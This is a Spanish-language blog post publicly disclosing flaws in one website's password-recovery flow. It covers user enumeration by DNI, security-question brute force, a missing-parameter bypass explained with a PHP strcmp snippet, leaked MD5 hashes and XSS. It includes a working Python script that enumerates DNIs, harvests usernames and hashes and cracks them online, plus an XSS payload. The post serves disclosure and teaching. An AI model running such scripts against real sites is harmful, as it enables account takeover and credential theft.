martes, 22 de enero de 2019

¿Cúantos fallos de seguridad puede tener la funcionalidad de recuperar contraseña?

Muy buenas a todos,

para hoy tenía pensado hacer un nuevo Post sobre Responsible Disclosure, pero como envié un correo electrónico y me ignoraron de una manera muy fuerte, lo que voy a hacer es explicar como funcionan las vulnerabilidades (sin decir donde se encuentran, quien quiera que lo busque) para ver si a alguien le puede servir para aprender algo nuevo.





Además del correo electrónico también envie un MD por twitter, donde también me ignoraron, así que voy a publicar toda la información.




Una vez visto esto ya podemos empezar, lo primero que tengo que decir es que solo mire el proceso de recuperar contraseñas, pero imagino que el resto de la web será del estilo, parece ser un sitio bonito donde jugar.

Vamos a ir paso por paso porque hay mucho que abarcar, así que vamos a comenzar desde el principio, lo primero que podemos ver es una pantalla donde nos pide que introduzcamos el DNI para empezar el flujo de modificar contraseñas.


En caso de introducir un DNI que exista en la base de datos te lleva al siguiente paso, y en caso de introducir un DNI no existente te mantiene en la misma pantalla. Aquí podemos encontrar el primer error de seguridad (aunque no sea grave). Es posible enumerar a través de los DNIs todos los usuarios registrados en la aplicación dependiendo de la respuesta, yo para esto me hice un script en python que comprobando el tamaño de la respuesta detectaba si el usuario existe o no en la base de datos (más tarde mostraré el script ya que después le añadí nuevas funcionalidades).


Una vez en este punto podemos ir al siguiente paso introduciendo algún DNI que nos arroje el script de python.


Podemos ver que la forma de recuperar la contraseña es la típica pregunta de seguridad, esto es algo que no se debería usar en ningún caso por los siguientes motivos:

  • Estás indicando a un posible atacante por donde tiene que empezar a buscar para poder evadir esta medida de seguridad. 
  • Suele ser información poco privada y fácil de conseguir.
  • Los usuarios no suelen recordar que pusieron esta información como pregunta de seguridad, por lo que preguntando (a diferencia de una contraseña), no es difícil de que te de esa información.
  • En caso de no tener una forma de bloquear los ataques de fuerza bruta es fácil buscar una lista de respuestas posibles a esa pregunta.

En mi caso, como no conozco al usuario en cuestión, vamos a optar por el último punto, así que buscaremos una lista de colores en Google y lanzaremos un ataque de fuerza bruta. De la misma forma que con los colores se puede hacer con nombres de mascota, con el nombre del padre, o con cualquier pregunta que nos encontremos.


Una vez en este punto ya podríamos modificarle la contraseña al usuario y entrar en su perfil sin ningún problema.

La cuestión de todo esto es que la cosa no acaba aquí, está funcionalidad, además de ser vulnerable a fuerza bruta, se puede byppasear, ¿cómo hacemos esto?

Es bastante simple, en el funcionamiento normal de la aplicación la respuesta a la pregunta se envía por parámetro, y si la respuesta no es correcta te devuelve un mensaje de error, sin embargo, si no se envía este parámetro toma la respuesta como válida y nos deja seguir.

¿Por qué ocurre esto? mi suposición al estar programada en PHP la aplicación web es que tienen el siguiente código.

  1. <?php
  2. $respuesta = $_POST['respuesta'];
  3. $respuesta_correcta = "Respuesta correcta";
  4. if (strcmp($respuesta, $respuesta_correcta) != 1 || strcmp($respuesta, $respuesta_correcta) != -1) {
  5.         // Respuesta incorrecta
  6. }
  7. else{
  8.         // Respuesta correcta
  9. }
  10. ?>
Vamos a ver que está pasando aquí, la función "strcmp" en php, tiene dos respuestas diferentes dependiendo de los datos introducidos:
  • En caso de que ambos strings sean iguales el resultado será 0.
  • En caso de que los strings no sean iguales el resultado será 1 o -1 dependiendo de cual sea mayor.
Por lo tanto en principio ese código será correcto, ya que está comprobando que los dos Strings sean diferentes, pero ¿qué pas si no envío el parametro?

Bueno, la función haría algo así: "strcmp(NULL, $respuesta_correcta)", en este caso el resultado sería 3 o -3, por lo que el código lo tomará como si la respuesta fuera correcta y veríamos lo siguiente.


En este punto podríamos cambiarle la contraseña a quien nosotros quisieramos teniendo solo el DNI, además de poder ver los DNIs que están registrados en la aplicación, aunque esto es una pena, porque la cosa no se queda aquí.

Si le echamos un vistazo rápido a la respuesta HTML del servidor tras esta petición vemos, que además de devolver el nombre de usuario, también nos devuelve el hash MD5 que está almacenado en la base de datos.


Aquí tenemos el nombre de usuario, el hash en MD5 y la longitud de la contraseña, que nos dice que son entre 4 y 8 caracteres, esto hace que sea mucho más sencillo crackearlas, podemos hacer una prueba en crackstation.


Con todo esto preparé un script en python que generaba DNIs de forma aleatoria, comprobaba que existieran y en caso de que existieran parseaba el usuario y el hash, crackeaba este hash a través de una base de datos online e imprimía toda esta información.

  
El script que preparé (se que es muy chustero) es este.

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import json
  4. from random import randint
  5. import requests
  6. import urllib3
  7. from html.parser import HTMLParser
  8. from bs4 import BeautifulSoup as BSoup
  9. import sys
  10. urllib3.disable_warnings()
  11. # Crackea un hash
  12. def decrypt(hash):
  13.         content = requests.get('https://md5.gromweb.com/?md5=' + hash)
  14.         soup = BSoup(content.text, "html.parser")
  15.         hashresult = soup.find('em', attrs={'class': 'long-content string'})
  16.         if hashresult:
  17.                 return hashresult.text
  18. # Parsea la respuesta y obtiene Hash
  19. class MyHTMLParser(HTMLParser):
  20.         def handle_starttag(self, tag, attrs):
  21.                 for attr in attrs:
  22.                         if attr[0] == "value":
  23.                                 if len(attr[1]) == 32:
  24.                                         hash1 = attr[1]
  25.                                         if decrypt(hash1):
  26.                                                 print "Password: " + decrypt(hash1)
  27.                                                 f.write(" - Password: " + decrypt(hash1))
  28.                                         else:
  29.                                                 print "Hash: " + attr[1]
  30.                                                 f.write(" - Hash: " + attr[1])
  31.                                 if len(attr[1]) != 32:
  32.                                         print "Usuario: " + attr[1]
  33.                                         f.write(" - Usuario: " + attr[1] + "\n")
  34. URL = "https://ws035.dominio.es"
  35. path = "/bolsa/http/olvidoclave3.php"
  36. header = {"Content-Type": "application/x-www-form-urlencoded"}
  37. usuarios = 0
  38. prueba = 1
  39. f = open("DNIs.txt", "a")
  40. # Pregunta cuantos usuarios se desean obtener
  41. numUsuarios = raw_input("¿Cuantos usuarios quieres sacar? ")
  42. if int(numUsuarios) == 1:
  43.         numeroDNI = raw_input("Introducir numero de DNI ")
  44. while usuarios < int(numUsuarios):
  45.         # Genera un DNI aleatorio
  46.         numero = randint(10000000, 99999999)
  47.         if int(numUsuarios) == 1:
  48.                 numero = int(numeroDNI)
  49.         intnumero = int(numero)
  50.         letra1 = "TRWAGMYFPDXBNJZSQVHLCKET"
  51.         resto = intnumero%23
  52.         letra = letra1[resto]
  53.         # Prepara la informacion que se enviara por el metodo POST
  54.         data = "documento=" + str(intnumero) + "&tipo_documento=+&letra=" + letra + "&test=test"
  55.         # Realiza la peticion
  56.         try:
  57.                 resp = requests.post(URL+path, data=data, verify=False, timeout=3, headers=header)
  58.                 tamano = int(resp.headers["Content-Length"])
  59.         except requests.exceptions.ReadTimeout:
  60.                 tamano = 7000
  61.         # Comprueba si existe o no el usuario
  62.         if tamano < 6000 and tamano > 5000:
  63.                 print "DNI encontrado: " + str(numero) + letra
  64.                 f.write("DNI encontrado: " + str(numero) + letra)
  65.                 parser = MyHTMLParser()
  66.                 parser.feed(resp.content)
  67.                 usuarios = usuarios + 1
  68.         else:
  69.                 print "Intento numero: " + str(prueba) + " - Usuarios encontrados: " + str(usuarios)
  70.                 prueba = prueba + 1
  71. f.close()

 Por último, y ya de verdad prometo que acabo, todos los parámetros eran vulnerables a XSS, el payload que usé fue este:

"><script>alert(document.domain)</script>


Ya hemos acabado por hoy, espero que os haya resultado interesante el post.

Saluti.

 Ia e perdio la cuenta de cuantas vulneravilidades tenia

==============================================

A raiz de este post se pusieron en contacto conmigo para arreglar las vulnerabilidades y disculparse por no responder en el primer reporte.

Actualmente la página se encuentra en reparación y no se puede acceder. Alegra que se hagan las cosas bien.



2 comentarios:

Anónimo dijo...

Como está la Jun.... Las webs

Rollth dijo...

Es que estos programadores sureños...